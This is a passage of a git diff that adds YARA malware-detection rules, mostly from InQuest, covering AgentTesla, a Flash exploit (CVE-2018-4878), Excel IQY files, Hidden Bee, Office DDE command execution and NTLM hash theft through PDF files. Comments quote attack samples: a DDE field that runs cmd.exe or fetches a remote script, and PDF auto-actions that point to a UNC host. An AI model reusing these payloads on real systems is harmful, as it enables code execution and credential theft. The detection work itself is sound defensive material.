+		$pcre11 = "graph"
+		$pcre12 = "print"
+		$pcre13 = "punct"
+		$pcre14 = "space"
+		$pcre15 = "word"
+		$pcre16 = "xdigit"
+		$pcre17 = "at end of pattern"
+		$pcre18 = "numbers out of order in {} quantifier"
+		$pcre19 = "number too big in {} quantifier"
+		$pcre20 = "missing terminating ] for character class"
+		$pcre21 = "invalid escape sequence in character class"
+		$pcre22 = "range out of order in character class"
+		$pcre23 = "nothing to repeat"
+		$pcre24 = "operand of unlimited repeat could match the empty string"
+		$pcre25 = "internal error: unexpected repeat"
+		$pcre26 = "unrecognized character after (? or (?-"
+		$pcre27 = "POSIX named classes are supported only within a class"
+		$pcre28 = "missing )"
+		$pcre29 = "reference to non-existent subpattern"
+		$pcre30 = "erroffset passed as NULL"
+		$pcre31 = "unknown option bit(s) set"
+		$pcre32 = "missing ) after comment"
+		$pcre33 = "parentheses nested too deeply"
+		$pcre34 = "regular expression is too large"
+		$pcre35 = "failed to get memory"
+		$pcre36 = "unmatched parentheses"
+		$pcre37 = "internal error: code overflow"
+		$pcre38 = "unrecognized character after (?<"
+		$pcre39 = "lookbehind assertion is not fixed length"
+		$pcre40 = "malformed number or name after (?("
+		$pcre41 = "conditional group contains more than two branches"
+		$pcre42 = "assertion expected after (?("
+		$pcre43 = "(?R or (?[+-]digits must be followed by )"
+		$pcre44 = "unknown POSIX class name"
+		$pcre45 = "POSIX collating elements are not supported"
+		$pcre46 = "this version of PCRE is not compiled with PCRE_UTF8 support"
+		$pcre47 = "spare error"
+		$pcre48 = "character value in x{...} sequence is too large"
+		$pcre49 = "invalid condition (?(0)"
+		$pcre50 = "number after (?C is > 255"
+		$pcre51 = "closing ) for (?C expected"
+		$pcre52 = "recursive call could loop indefinitely"
+		$pcre53 = "unrecognized character after (?P"
+		$pcre54 = "syntax error in subpattern name (missing terminator)"
+		$pcre55 = "two named subpatterns have the same name"
+		$pcre56 = "invalid UTF-8 string"
+		$pcre57 = "subpattern name is too long (maximum 32 characters)"
+		$pcre58 = "too many named subpatterns (maximum 10000)"
+		$pcre59 = "repeated subpattern is too long"
+		$pcre60 = "octal value is greater than 377 (not in UTF-8 mode)"
+		$pcre61 = "internal error: overran compiling workspace"
+		$pcre62 = "internal error: previously-checked referenced subpattern not found"
+		$pcre63 = "DEFINE group contains more than one branch"
+		$pcre64 = "repeating a DEFINE group is not allowed"
+		$pcre65 = "inconsistent NEWLINE options"
+		$pcre66 = "different names for subpatterns of the same number are not allowed"
+		$pcre67 = "subpattern name expected"
+		$pcre68 = "a numbered reference must not be zero"
+
+	condition:
+		30 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/HorribleCanoe/reads_clipboard.yara b/yara-mikesxrs/HorribleCanoe/reads_clipboard.yara
new file mode 100644
index 0000000..cd90eaa
--- /dev/null
+++ b/yara-mikesxrs/HorribleCanoe/reads_clipboard.yara
@@ -0,0 +1,16 @@
+rule reads_clipboard {
+	strings:
+		$clipboard1 = "CloseClipboard"
+		$clipboard2 = "EmptyClipboard"
+		$clipboard3 = "EnumClipboardFormats"
+		$clipboard4 = "GetClipboardData"
+		$clipboard5 = "IsClipboardFormatAvailable"
+		$clipboard6 = "OpenClipboard"
+		$clipboard7 = "RefreshClipboard"
+		$clipboard8 = "RegisterClipboardFormat"
+		$clipboard9 = "SendYourClipboard"
+		$clipboard10 = "SetClipboardData"
+
+	condition:
+		5 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/InQuest/Adobe_Flash_DRM_Use_After_Free.yar b/yara-mikesxrs/InQuest/Adobe_Flash_DRM_Use_After_Free.yar
new file mode 100644
index 0000000..08f5652
--- /dev/null
+++ b/yara-mikesxrs/InQuest/Adobe_Flash_DRM_Use_After_Free.yar
@@ -0,0 +1,35 @@
+/*
+Generically detect exploitation of CVE-2018-4878, a use-after-free vulnerability affecting Adobe Flash versions up to
+and including 28.0.0.137. Following the conversation at:
+
+    http://blog.inquest.net/blog/2018/02/07/cve-2018-4878-adobe-flash-0day-itw
+    https://twitter.com/i/moments/960633253165191170
+
+ InQuest customers can detect related events on their network by searching for:
+ 
+    event ID 5000805
+*/
+
+rule Adobe_Flash_DRM_Use_After_Free
+{    
+    meta:
+        note  = "This YARA rule is intended to run atop of decompiled Flash."
+
+    strings:
+        $as   = "package"
+        $exp1 = "import com.adobe.tvsdk.mediacore" 	// covers .*
+        $exp2 = "createDispatcher("
+        $exp3 = "createMediaPlayer("
+        $exp4 = "drmManager.initialize("    		// com.adobe.tvsdk.mediacore.DRMOperationCompleteListener;
+        $vara_1 = "push(this)"
+        $vara_2 = "push(null)"
+        $vara_3 = /pop\(\)\..+\s*=\s*.+pop\(\)/
+        $varb_1 = /push\([^\)]{1,24}drmManager.initialize/
+
+        // all the requisite pieces in a single function.
+        $varc_1 = /\{[^\}]+createDispatcher\s*\([^\}]+createMediaPlayer\s*\([^\}]+drmManager\.initialize\s*\([^\}]+=\s*null[^\}]+\}/
+
+    condition:
+        $as at 0 and all of ($exp*) and (all of ($vara*) or $varb_1 or $varc_1)
+}
+}
diff --git a/yara-mikesxrs/InQuest/AgentTesla.yar b/yara-mikesxrs/InQuest/AgentTesla.yar
new file mode 100644
index 0000000..6022b2e
--- /dev/null
+++ b/yara-mikesxrs/InQuest/AgentTesla.yar
@@ -0,0 +1,54 @@
+rule AgentTesla
+{
+    meta:
+        author = "InQuest Labs"
+        source = "http://blog.inquest.net/blog/2018/05/22/field-notes-agent-tesla-open-directory/"
+        created = "05/18/2018"
+        TLP = "WHITE"
+    strings:
+        $s0 = "SecretId1" ascii
+        $s1 = "#GUID" ascii
+        $s2 = "#Strings" ascii
+        $s3 = "#Blob" ascii
+        $s4 = "get_URL" ascii
+        $s5 = "set_URL" ascii
+        $s6 = "DecryptIePassword" ascii
+        $s8 = "GetURLHashString" ascii
+        $s9 = "DoesURLMatchWithHash" ascii
+
+        $f0 = "GetSavedPasswords" ascii
+        $f1 = "IESecretHeader" ascii
+        $f2 = "RecoveredBrowserAccount" ascii
+        $f4 = "PasswordDerivedBytes" ascii
+        $f5 = "get_ASCII" ascii
+        $f6 = "get_ComputerName" ascii
+        $f7 = "get_WebServices" ascii
+        $f8 = "get_UserName" ascii
+        $f9 = "get_OSFullName" ascii
+        $f10 = "ComputerInfo" ascii
+        $f11 = "set_Sendwebcam" ascii
+        $f12 = "get_Clipboard" ascii
+        $f13 = "get_TotalFreeSpace" ascii
+        $f14 = "get_IsAttached" ascii
+
+        $x0 = "IELibrary.dll" ascii wide
+        $x1 = "webpanel" ascii wide nocase
+        $x2 = "smtp" ascii wide nocase
+        
+        $v5 = "vmware" ascii wide nocase
+        $v6 = "VirtualBox" ascii wide nocase
+        $v7 = "vbox" ascii wide nocase
+        $v9 = "avghookx.dll" ascii wide nocase
+
+        $pdb = "IELibrary.pdb" ascii
+    condition:
+        (
+            (
+                5 of ($s*) or 
+                7 of ($f*)
+            ) and
+            all of ($x*) and 
+            all of ($v*) and
+            $pdb
+        )
+}
diff --git a/yara-mikesxrs/InQuest/CVE_2018_4878_0day_ITW.yar b/yara-mikesxrs/InQuest/CVE_2018_4878_0day_ITW.yar
new file mode 100644
index 0000000..7e2fc63
--- /dev/null
+++ b/yara-mikesxrs/InQuest/CVE_2018_4878_0day_ITW.yar
@@ -0,0 +1,62 @@
+/*
+This signature is mostly public sourced and detects an in-the-wild exploit for CVE-2018-4878. Following the
+conversation at:
+
+    http://blog.inquest.net/blog/2018/02/07/cve-2018-4878-adobe-flash-0day-itw
+    https://twitter.com/i/moments/960633253165191170
+
+ InQuest customers can detect related events on their network by searching for:
+ 
+    event ID 5000798
+*/
+
+rule CVE_2018_4878_0day_ITW
+{
+    strings:   
+        $known1 = "F:\\work\\flash\\obfuscation\\loadswf\\src" nocase wide ascii   
+        $known2 = "G:\\FlashDeveloping" nocase wide ascii   
+        $known3 = "Z:\\Main\\zero day\\Troy" nocase wide ascii   
+        $known4 = "C:\\Users\\Rose\\Adobe Flash Builder 4.6\\ExpAll\\src" nocase wide ascii   
+        $known5 = "F:\\work\\flash\\obfuscation\\loadswf\\src" nocase wide ascii   
+        $known6 = "admincenter/files/boad/4/manager.php" nocase wide ascii
+
+        // EMBEDDED FLASH OBJECT BIN HEADER   
+        $header = "rdf:RDF" wide ascii   
+    
+        // OBJECT APPLICATION TYPE TITLE
+        // disabled 2/13/18 due to false positive on 2a75ff1acdf9141bfb836343f94f4a73b8c64b226b0e2ae30a69e9aacc472cba
+        // $title = "Adobe Flex" wide ascii   
+    
+        // PDB PATH    
+        $pdb = "F:\\work\\flash\\obfuscation\\loadswf\\src" wide ascii   
+    
+        // LOADER STRINGS   
+        $loader1 = "URLRequest" wide ascii   
+        $loader2 = "URLLoader" wide ascii   
+        $loader3 = "loadswf" wide ascii   
+        $loader4 = "myUrlReqest" wide ascii   
+      
+        // 1a3269253784f76e3480e4b3de312dfee878f99045ccfd2231acb5ba57d8ed0d.fws exploit specific multivar definition.
+        $observed_multivar_1 = /999(\x05[a-z]10[0-9][0-9]){100}/ nocase wide ascii
+        $observed_multivar_2 = /999(\x05[a-z]11[0-9][0-9]){100}/ nocase wide ascii
+        $flash_magic         = { (43 | 46 | 5A) 57 53 }
+
+        // 53fa83d02cc60765a75abd0921f5084c03e0b7521a61c4260176e68b6a402834 exploit specific.
+        $exp53_1 = "C:\\Users\\Miha\\AdobeMinePoC"
+        $exp53_2 = "UAFGenerator"
+        $exp53_3 = "shellcodBytes"
+        $exp53_4 = "DRM_obj"
+        $exp53_5 = "MainExp"
+
+    condition:
+        ($flash_magic at 0 and all of ($observed_multivar*))
+            or
+        (any of ($known*))
+            or
+        // disabled 2/13/18 due to false positive on 2a75ff1acdf9141bfb836343f94f4a73b8c64b226b0e2ae30a69e9aacc472cba
+        //(all of ($header*) and all of ($title*) and 3 of ($loader*))
+        //    or
+        (all of ($pdb*) and all of ($header*) and 1 of ($loader*))
+            or
+        ($flash_magic at 0 and all of ($exp53*))
+}
diff --git a/yara-mikesxrs/InQuest/Embedded_PE_File.yar b/yara-mikesxrs/InQuest/Embedded_PE_File.yar
new file mode 100644
index 0000000..9f84319
--- /dev/null
+++ b/yara-mikesxrs/InQuest/Embedded_PE_File.yar
@@ -0,0 +1,14 @@
+rule Embedded_PE
+{
+    meta:
+        Author      = "InQuest Labs"
+        URL         = "https://github.com/InQuest/yara-rules"
+        Description = "Discover embedded PE files, without relying on easily stripped/modified header strings."
+    strings:
+        $mz = { 4D 5A }
+    condition:
+        for any i in (1..#mz):
+        (
+            uint32(@mz[i] + uint32(@mz[i] + 0x3C)) == 0x00004550
+        )
+}
diff --git a/yara-mikesxrs/InQuest/Excel_IQY_File.yar b/yara-mikesxrs/InQuest/Excel_IQY_File.yar
new file mode 100644
index 0000000..55f5343
--- /dev/null
+++ b/yara-mikesxrs/InQuest/Excel_IQY_File.yar
@@ -0,0 +1,20 @@
+rule IQY_File
+{
+    meta:
+        Author = "InQuest Labs"
+        Website = "http://blog.inquest.net/blog/2018/08/23/hunting-iqy-files-with-yara/"
+        Description = "Detects all Excel IQY files by identifying the WEB 'magic' on the first line and also includes any URL."
+        Severity = "0"
+
+   strings:
+        /* match WEB on the first line of a file
+           takes into account potential whitespace before or after case-insensitive "WEB" string
+        */
+        $web = /^[ \t]*WEB[ \t]*(\x0A|\x0D\x0A)/ nocase
+
+        /* match any http or https URL within the file */
+        $url = /https?:\/\/([\w\.-]+)([\/\w \.-]*)/
+
+    condition:
+        $web at 0 and $url
+}
diff --git a/yara-mikesxrs/InQuest/Excel_IQY_File_Suspicious_Request.yar b/yara-mikesxrs/InQuest/Excel_IQY_File_Suspicious_Request.yar
new file mode 100644
index 0000000..269d81a
--- /dev/null
+++ b/yara-mikesxrs/InQuest/Excel_IQY_File_Suspicious_Request.yar
@@ -0,0 +1,69 @@
+rule IQY_File_With_Suspicious_URL
+{
+    meta:
+        Author = "InQuest Labs"
+        Reference = "http://blog.inquest.net/blog/2018/08/23/hunting-iqy-files-with-yara/"
+        Description = "Detects suspicious IQY Files using URLs associated with suspicious activity such as direct IP address URLs, URL shorteners, and file upload/download providers."
+        Severity = "5"
+
+    strings:
+        /*
+           match WEB on the first line of a file
+           takes into account potential whitespace before or after case-insensitive "WEB" string
+        */
+         $web =/^[ \t]*WEB[ \t]*(\x0A|\x0D\x0A)/ nocase
+
+        /* match any http or https URL using a direct IP address */
+        $aa = /https?:\/\/((1?[0-9]{1,2}|25[0-5]|2[0-4][0-9])[.]){3}((1?[0-9]{1,2}|25[0-5]|2[0-4][0-9]))/
+
+        /* file upload/download providers */
+        $a2  = /https?:\/\/[^\.]*dropbox\.com\/sh?\// nocase
+        $a4  = /https?:\/\/[^\.]*sendspace\.com\/./ nocase
+        $a5  = /https?:\/\/[^\.]*bvp\.16mb\.com\/./ nocase
+        $a6  = /https?:\/\/[^\.]*file\.io\/./ nocase
+        $a7  = /https?:\/\/[^\.]*wetransfer\.com\/./ nocase
+        $a8  = /https?:\/\/[^\.]*uploadcare\.com\/./ nocase
+        $a9  = /https?:\/\/[^\.]*uploadfiles\.io\/./ nocase
+        $a10 = /https?:\/\/[^\.]*filedropper\.com\/./ nocase
+        $a11 = /https?:\/\/[^\.]*filefactory\.com\/./ nocase
+        $a12 = /https?:\/\/[^\.]*doko\.moe\/./ nocase
+
+        /* URL shorteners */
+        $a109 = /https?:\/\/(www\.)?a\.gd\/./ nocase
+        $a110 = /https?:\/\/(www\.)?binged\.it\/./ nocase
+        $a112 = /https?:\/\/(www\.)?budurl\.com\/./ nocase
+        $a113 = /https?:\/\/(www\.)?chilp\.it\/./ nocase
+        $a114 = /https?:\/\/(www\.)?cli\.gs\/./ nocase
+        $a115 = /https?:\/\/(www\.)?fon\.gs\/./ nocase
+        $a117 = /https?:\/\/(www\.)?fwd4\.me\/./ nocase
+        $a118 = /https?:\/\/(www\.)?hex\.io\/./ nocase
+        $a119 = /https?:\/\/(www\.)?hurl\.ws\/./ nocase
+        $a120 = /https?:\/\/(www\.)?is\.gd\/./ nocase
+        $a121 = /https?:\/\/(www\.)?kl\.am\/./ nocase
+        $a122 = /https?:\/\/(www\.)?short\.ie\/./ nocase
+        $a123 = /https?:\/\/(www\.)?short\.to\/./ nocase
+        $a124 = /https?:\/\/(www\.)?sn\.im\/./ nocase
+        $a125 = /https?:\/\/(www\.)?snipr\.com\/./ nocase
+        $a126 = /https?:\/\/(www\.)?snipurl\.com\/./ nocase
+        $a127 = /https?:\/\/(www\.)?snurl\.com\/./ nocase
+        $a130 = /https?:\/\/(www\.)?to\.ly\/./ nocase
+        $a131 = /https?:\/\/(www\.)?tr\.im\/./ nocase
+        $a132 = /https?:\/\/(www\.)?tweetburner\.com\/./ nocase
+        $a133 = /https?:\/\/(www\.)?twurl\.nl\/./ nocase
+        $a134 = /https?:\/\/(www\.)?ub0\.cc\/./ nocase
+        $a135 = /https?:\/\/(www\.)?ur1\.ca\/./ nocase
+        $a136 = /https?:\/\/(www\.)?urlborg\.com\/./ nocase
+        $a137 = /https?:\/\/(www\.)?tiny\.cc\/./ nocase
+        $a138 = /https?:\/\/(www\.)?lc\.chat\/./ nocase
+        $a139 = /https?:\/\/(www\.)?soo\.gd\/./ nocase
+        $a140 = /https?:\/\/(www\.)?s2r\.co\/./ nocase
+        $a141 = /https?:\/\/(www\.)?clicky\.me\/./ nocase
+        $a142 = /https?:\/\/(www\.)?bv\.vc\/./ nocase
+        $a143 = /https?:\/\/(www\.)?s\.id\/./ nocase
+        $a144 = /https?:\/\/(www\.)?smarturl\.it\/./ nocase
+        $a145 = /https?:\/\/(www\.)?tiny\.pl\/./ nocase
+        $a146 = /https?:\/\/(www\.)?x\.co\/./ nocase
+
+    condition:
+        $web at 0 and 1 of ($a*)
+}
diff --git a/yara-mikesxrs/InQuest/Excel_IQY_File_With_file_extension.yar b/yara-mikesxrs/InQuest/Excel_IQY_File_With_file_extension.yar
new file mode 100644
index 0000000..6988089
--- /dev/null
+++ b/yara-mikesxrs/InQuest/Excel_IQY_File_With_file_extension.yar
@@ -0,0 +1,26 @@
+rule IQY_File_With_Pivot_Extension_URL
+{
+    meta:
+        Author = "InQuest Labs"
+        Reference = "http://blog.inquest.net/blog/2018/08/23/hunting-iqy-files-with-yara/"
+        Description = "Detect Excel IQY files with URLs that contain commonly used malicious file extensions that may act as a pivot to a secondary stage."
+        Severity = "9"
+    strings:
+        /*
+           match WEB on the first line of a file
+           takes into account potential whitespace before or after case-insensitive "WEB" string
+        */
+         $web = /^[ \t]*WEB[ \t]*(\x0A|\x0D\x0A)/ nocase
+
+        /*
+            generic URL to direct download a file containing a potentially malicious extension.
+            File extensions were decided based upon common extensions seen in the wild
+            The extension list can be expanded upon as new information comes available from matches
+            on the Stage 1 or Stage 2 signatures
+         */
+
+        $url = /https?:\/\/[\w\.\/]+\.(scr|exe|hta|vbs|ps1|bat|dat|rar|zip|ace)/ nocase
+
+    condition:
+        $web at 0 and $url
+}
diff --git a/yara-mikesxrs/InQuest/Hiddenbee.yar b/yara-mikesxrs/InQuest/Hiddenbee.yar
new file mode 100644
index 0000000..9d87514
--- /dev/null
+++ b/yara-mikesxrs/InQuest/Hiddenbee.yar
@@ -0,0 +1,58 @@
+rule Hidden_Bee_Elements
+{
+    meta:
+        Author      = "InQuest Labs"
+        Reference   = "https://blog.malwarebytes.com/threat-analysis/2018/08/reversing-malware-in-a-custom-format-hidden-bee-elements/"
+        Description = "This signature detects a custom Windows executable format used in relation to Hidden Bee and Underminer exploit kit."
+
+    strings:
+        /*
+            sample payloads:
+                https://www.virustotal.com/#/file/76b70f1dfd64958fca7ab3e18fffe6d551474c2b25aaa9515181dec6ae112895/details
+                download: https://github.com/InQuest/malware-samples/blob/master/2018-08-Hidden-Bee-Elements/11310b509f8bf86daa5577758e9d1eb5
+
+                https://www.virustotal.com/#/file/c1a6df241239359731c671203925a8265cf82a0c8c20c94d57a6a1ed09dec289/details
+                download: https://github.com/InQuest/malware-samples/blob/master/2018-08-Hidden-Bee-Elements/b3eb576e02849218867caefaa0412ccd
+
+             $ yara Hidden_Bee_Elements.rule -wr ../malware-samples/2018-08-Hidden-Bee-Elements/
+                 Hidden_Bee_Elements ../malware-samples/2018-08-Hidden-Bee-Elements//b3eb576e02849218867caefaa0412ccd
+                 Hidden_Bee_Elements ../malware-samples/2018-08-Hidden-Bee-Elements//11310b509f8bf86daa5577758e9d1eb5
+
+            IDA loader module creation write-up and source from @RolfRolles:
+                http://www.msreverseengineering.com/blog/2018/9/2/weekend-project-a-custom-ida-loader-module-for-the-hidden-bee-malware-family
+                https://github.com/RolfRolles/HiddenBeeLoader
+
+            Binary file format struct from @hasherezade:
+                typedef struct {
+                    DWORD magic;
+
+                    WORD dll_list;
+                    WORD iat;
+                    DWORD ep;
+                    DWORD mod_size;
+
+                    DWORD relocs_size;
+                    DWORD relocs;
+                } t_bee_hdr;
+        */
+
+        $magic = { 01 03 00 10 }
+        $dll   = /(ntdll|kernel32|advapi32|cabinet|msvcrt|ws2_32|phlpape)\.dll/ nocase ascii wide fullword
+        
+        // case-insensitive base64 http:// or https:// URI prefix
+        // algorithm behind this generation magic: http://www.erlang-factory.com/upload/presentations/225/ErlangFactorySFBay2010-RobKing.pdf
+        $b64_uri = /([\x2b\x2f-\x39A-Za-z][\x2b\x2f-\x39A-Za-z][\x31\x35\x39BFJNRVZdhlptx][Io][Vd][FH][R][Qw][O]i\x38v[\x2b\x2f-\x39A-Za-z]|[\x2b\x2f-\x39A-Za-z][\x2b\x2f-\x39A-Za-z][\x31\x35\x39BFJNRVZdhlptx][Io][Vd][FH][R][Qw][Uc][z]ovL[\x2b\x2f-\x39w-z]|[\x2b\x2f-\x39A-Za-z][\x30\x32EGUWkm][h][\x30U][Vd][FH][A]\x36Ly[\x2b\x2f\x38-\x39]|[\x2b\x2f-\x39A-Za-z][\x30\x32EGUWkm][h][\x30U][Vd][FH][B][Tz][O]i\x38v[\x2b\x2f-\x39A-Za-z]|[Sa][FH][R][\x30U][Uc][D]ovL[\x2b\x2f-\x39w-z]|[Sa][FH][R][\x30U][Uc][FH][M]\x36Ly[\x2b\x2f\x38-\x39])/
+
+    condition:
+        $magic at 0
+            and
+        (
+            // at least 3 known DLL imports in the first 128 bytes.
+            for all i in (1..3) : (@dll[i] < 128)
+
+                or
+
+            // base64 encoded URLs.
+            $b64_uri
+        )
+}
diff --git a/yara-mikesxrs/InQuest/MC_Office_DDE.yar b/yara-mikesxrs/InQuest/MC_Office_DDE.yar
new file mode 100644
index 0000000..2ca15fa
--- /dev/null
+++ b/yara-mikesxrs/InQuest/MC_Office_DDE.yar
@@ -0,0 +1,91 @@
+/*
+
+ Follow the conversation on Twitter:
+
+    https://twitter.com/i/moments/918126999738175489
+
+ Read up on the exposure, mitigation, detection / hunting, and sample dissection from our blogs:
+
+    http://blog.inquest.net/blog/2017/10/13/microsoft-office-dde-macro-less-command-execution-vulnerability/
+    http://blog.inquest.net/blog/2017/10/14/02-microsoft-office-dde-freddie-mac-targeted-lure/
+    http://blog.inquest.net/blog/2017/10/14/01-microsoft-office-dde-sec-omb-approval-lure/
+    http://blog.inquest.net/blog/2017/10/14/03-microsoft-office-dde-poland-ransomware/
+
+ InQuest customers can detect related events on their network by searching for:
+ 
+    event ID 5000728, Microsoft_Office_DDE_Command_Exec
+
+*/
+
+rule MC_Office_DDE_Command_Execution
+{
+    meta:
+        author = "InQuest"
+        reference = "http://blog.inquest.net/blog/2017/10/13/microsoft-office-dde-macro-less-command-execution-vulnerability/"
+
+    strings:
+        /*
+            standard:
+                <w:fldChar w:fldCharType="begin"/></w:r><w:r>
+                <w:instrText xml:space="preserve"> </w:instrText></w:r><w:r><w:rPr>
+                <w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="333333"/>
+                <w:sz w:val="21"/><w:szCs w:val="21"/>
+                <w:shd w:val="clear" w:color="auto" w:fill="FFFFFF"/></w:rPr>
+                <w:instrText>DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"</w:instrText></w:r>
+                <w:bookmarkStart w:id="0" w:name="_GoBack"/>
+                <w:bookmarkEnd w:id="0"/><w:r>
+                <w:instrText xml:space="preserve"> </w:instrText></w:r><w:r>
+                <w:fldChar w:fldCharType="end"/></w:r>
+
+            encompassed:
+                # e 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065
+                [root@INQ-PPSandbox tge-zip-1-1]# cat xl/externalLinks/externalLink1.xml
+                <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+                <externalLink xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14" xmlns:x14="http://schemas.microsoft.com/office/spreadsheetml/2009/9/main">
+                    <ddeLink xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" ddeService="cmd" ddeTopic=" /C Cscript %WINDIR%\System32\Printing_Admin_Scripts\en-US\Pubprn.vbs localhost &quot;script:https://gunsandroses.live/ticket-id&quot;">
+                        <ddeItems>
+                            <ddeItem name="A0" advise="1" />
+                            <ddeItem name="StdDocumentName" ole="1" advise="1" />
+                        </ddeItems
+                        </ddeLink
+                </externalLink>
+        */
+
+        // NOTE: we must remain case-insensitive but do not wish to fire on "<w:webHidden/>".
+        // NOTE: nocase does not apply to character ranges ([^A-Za-z0-9-]).
+        $dde_auto = /<\s*w:fldChar\s+w:fldCharType\s*=\s*['"]begin['"]\s*\/>.+[^A-Za-z0-9-]DDEAUTO[^A-Za-z0-9-].+<w:fldChar\s+w:fldCharType\s*=\s*['"]end['"]\s*\/>/ nocase wide ascii
+
+        // DDEAUTO is the only known vector at the moment, widening the detection here other possible vectors.
+        $dde_other = /<\s*w:fldChar\s+w:fldCharType\s*=\s*['"]begin['"]\s*\/>.+[^A-Za-z0-9-]DDE[B-Zb-z]+[^A-Za-z0-9-].+<w:fldChar\s+w:fldCharType\s*=\s*['"]end['"]\s*\/>/ nocase wide ascii
+
+        // a wider DDEAUTO condition for older versions of Word (pre 2007, non DOCX).
+        $magic = /^\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1\x00\x00\x00/
+        $wide_dde_auto = /.+[^A-Za-z0-9-]DDEAUTO[^a-z0-9-].+/ nocase wide ascii
+
+        // obfuscated with XML. use an early exit because this is an expensive regex.
+        // NOTE: this is exactly the reason we have a DFI stack ... to strip, simplify, augment, transform, and make life easier for Yara rule dev.
+        // NOTE: we prefer to use $xml_obfuscated, but it's not suitable for VTI hunt, perf warnings are a no-go.
+        // NOTE: xml_obfuscated_{1,6} also won't fly for VTI, they are left here for reference.
+        // NOTE: xml_obfuscated_{4,5} are prone to false positives, they are left here for reference.
+        $early_exit       = "fldChar" nocase wide ascii
+        //$xml_obfuscated   = /!?(<[^>]*>){0,10}['"]?(<[^>]*>){0,10}D(<[^>]*>){0,10}D(<[^>]*>){0,10}E(<[^>]*>){0,10}(A(<[^>]*>){0,10}U(<[^>]*>){0,10}T(<[^>]*>){0,10}O)?(<[^>]*>){0,10}['"]?/ nocase wide ascii
+        //$xml_obfuscated_1 = />\s*["']?D\s*</   nocase ascii wide
+        $xml_obfuscated_2 = />\s*["']?DD\s*</  nocase ascii wide
+        $xml_obfuscated_3 = />\s*["']?DDE\s*</ nocase ascii wide
+        //$xml_obfuscated_4 = />\s*DDE["']?\s*</ nocase ascii wide
+        //$xml_obfuscated_5 = />\s*DE["']?\s*</  nocase ascii wide
+        //$xml_obfuscated_6 = />\s*E["']?\s*</   nocase ascii wide
+
+        // fully encompassed in XML
+        $pure_xml_dde = /<\s*ddeLink[^>]+ddeService\s*=\s*["'](cmd|reg|mshta|regsvr32|[wc]script|powershell|bitsadmin|schtasks|rundll32)["'][^>]+ddeTopic/ nocase wide ascii
+
+        // NOTE: these strings can be broken apart with XML constructs. additional post processing is required to avoid evasion.
+        $exec_action = /(cmd\.exe|reg\.exe|mshta\.exe|regsvr32|[wc]script|powershell|bitsadmin|schtasks|rundll32)/ nocase wide ascii
+
+    condition:
+        ((any of ($dde*) or ($magic at 0 and $wide_dde_auto)) and $exec_action)
+            or
+        ($early_exit and any of ($xml_obfuscated*))
+            or
+        ($pure_xml_dde)
+}
diff --git a/yara-mikesxrs/InQuest/Microsoft_Office_Document_with_Embedded_Flash_File.yar b/yara-mikesxrs/InQuest/Microsoft_Office_Document_with_Embedded_Flash_File.yar
new file mode 100644
index 0000000..a82a614
--- /dev/null
+++ b/yara-mikesxrs/InQuest/Microsoft_Office_Document_with_Embedded_Flash_File.yar
@@ -0,0 +1,19 @@
+/*
+Detect Microsoft Office documents with embedded Adobe Flash files. Following the conversation at:
+
+    http://blog.inquest.net/blog/2018/02/07/cve-2018-4878-adobe-flash-0day-itw
+    https://twitter.com/i/moments/960633253165191170
+
+ InQuest customers can detect related events on their network by searching for:
+ 
+    event ID 3000032
+*/
+
+rule Microsoft_Office_Document_with_Embedded_Flash_File
+{
+    strings:
+        $a = { 6e db 7c d2 6d ae cf 11 96 b8 44 45 53 54 00 00 }
+        $b = { 57 53 }
+    condition:
+        $a and $b
+}
diff --git a/yara-mikesxrs/InQuest/NTLM_Credential_Theft_via_PDF.yar b/yara-mikesxrs/InQuest/NTLM_Credential_Theft_via_PDF.yar
new file mode 100644
index 0000000..cd5ad2c
--- /dev/null
+++ b/yara-mikesxrs/InQuest/NTLM_Credential_Theft_via_PDF.yar
@@ -0,0 +1,59 @@
+/*
+This signature detects Adobe PDF files that reference a remote UNC object for the purpose of leaking NTLM hashes.
+New methods for NTLM hash leaks are discovered from time to time. This particular one is triggered upon opening of a
+malicious crafted PDF. Original write-up from CheckPoint:
+
+    https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/
+
+Public proof-of-concepts:
+
+    https://github.com/deepzec/Bad-Pdf
+    https://github.com/3gstudent/Worse-PDF
+
+Requirements:
+    /AA for Auto Action
+    /O for open is functionally equivalent to /C for close.
+    /S + /GoToE (Embedded) can be swapped with /GoToR (Remote).
+    /D location reference.
+    /F the UNC reference.
+
+Multiple different arrangements, example one:
+
+    /AA <<
+        /O <<
+            /F (\\\\10.20.30.40\\test)
+            /D [ 0 /Fit]
+            /S /GoToR
+            >>
+example two:
+
+    /AA <<
+        /C <<
+            /D [ 0 /Fit]
+            /S /GoToE
+            /F (\\\\10.20.30.40\\test)
+            >>
+
+example three:
+
+    /AA <<
+        /O <<
+            /D [ 0 /Fit]
+            /F (\\\\10.20.30.40\\test)
+            /S /GoToR
+            >>
+            
+Multiple protocols supported for the /F include, both http and UNC.
+*/
+
+rule NTLM_Credential_Theft_via_PDF
+{
+    strings:
+        // we have three regexes here so that we catch all possible orderings but still meet the requirement of all three parts.
+        $badness1 = /\s*\/AA\s*<<\s*\/[OC]\s*<<((\s*\/\D\s*\[[^\]]+\])(\s*\/S\s*\/GoTo[ER])|(\s*\/S\s*\/GoTo[ER])(\s*\/\D\s*\[[^\]]+\]))\s*\/F\s*\((\\\\\\\\[a-z0-9]+\.[^\\]+\\\\[a-z0-9]+|https?:\/\/[^\)]+)\)/ nocase
+        $badness2 = /\s*\/AA\s*<<\s*\/[OC]\s*<<\s*\/F\s*\((\\\\\\\\[a-z0-9]+\.[^\\]+\\\\[a-z0-9]+|https?:\/\/[^\)]+)\)((\s*\/\D\s*\[[^\]]+\])(\s*\/S\s*\/GoTo[ER])|(\s*\/S\s*\/GoTo[ER])(\s*\/\D\s*\[[^\]]+\]))/ nocase
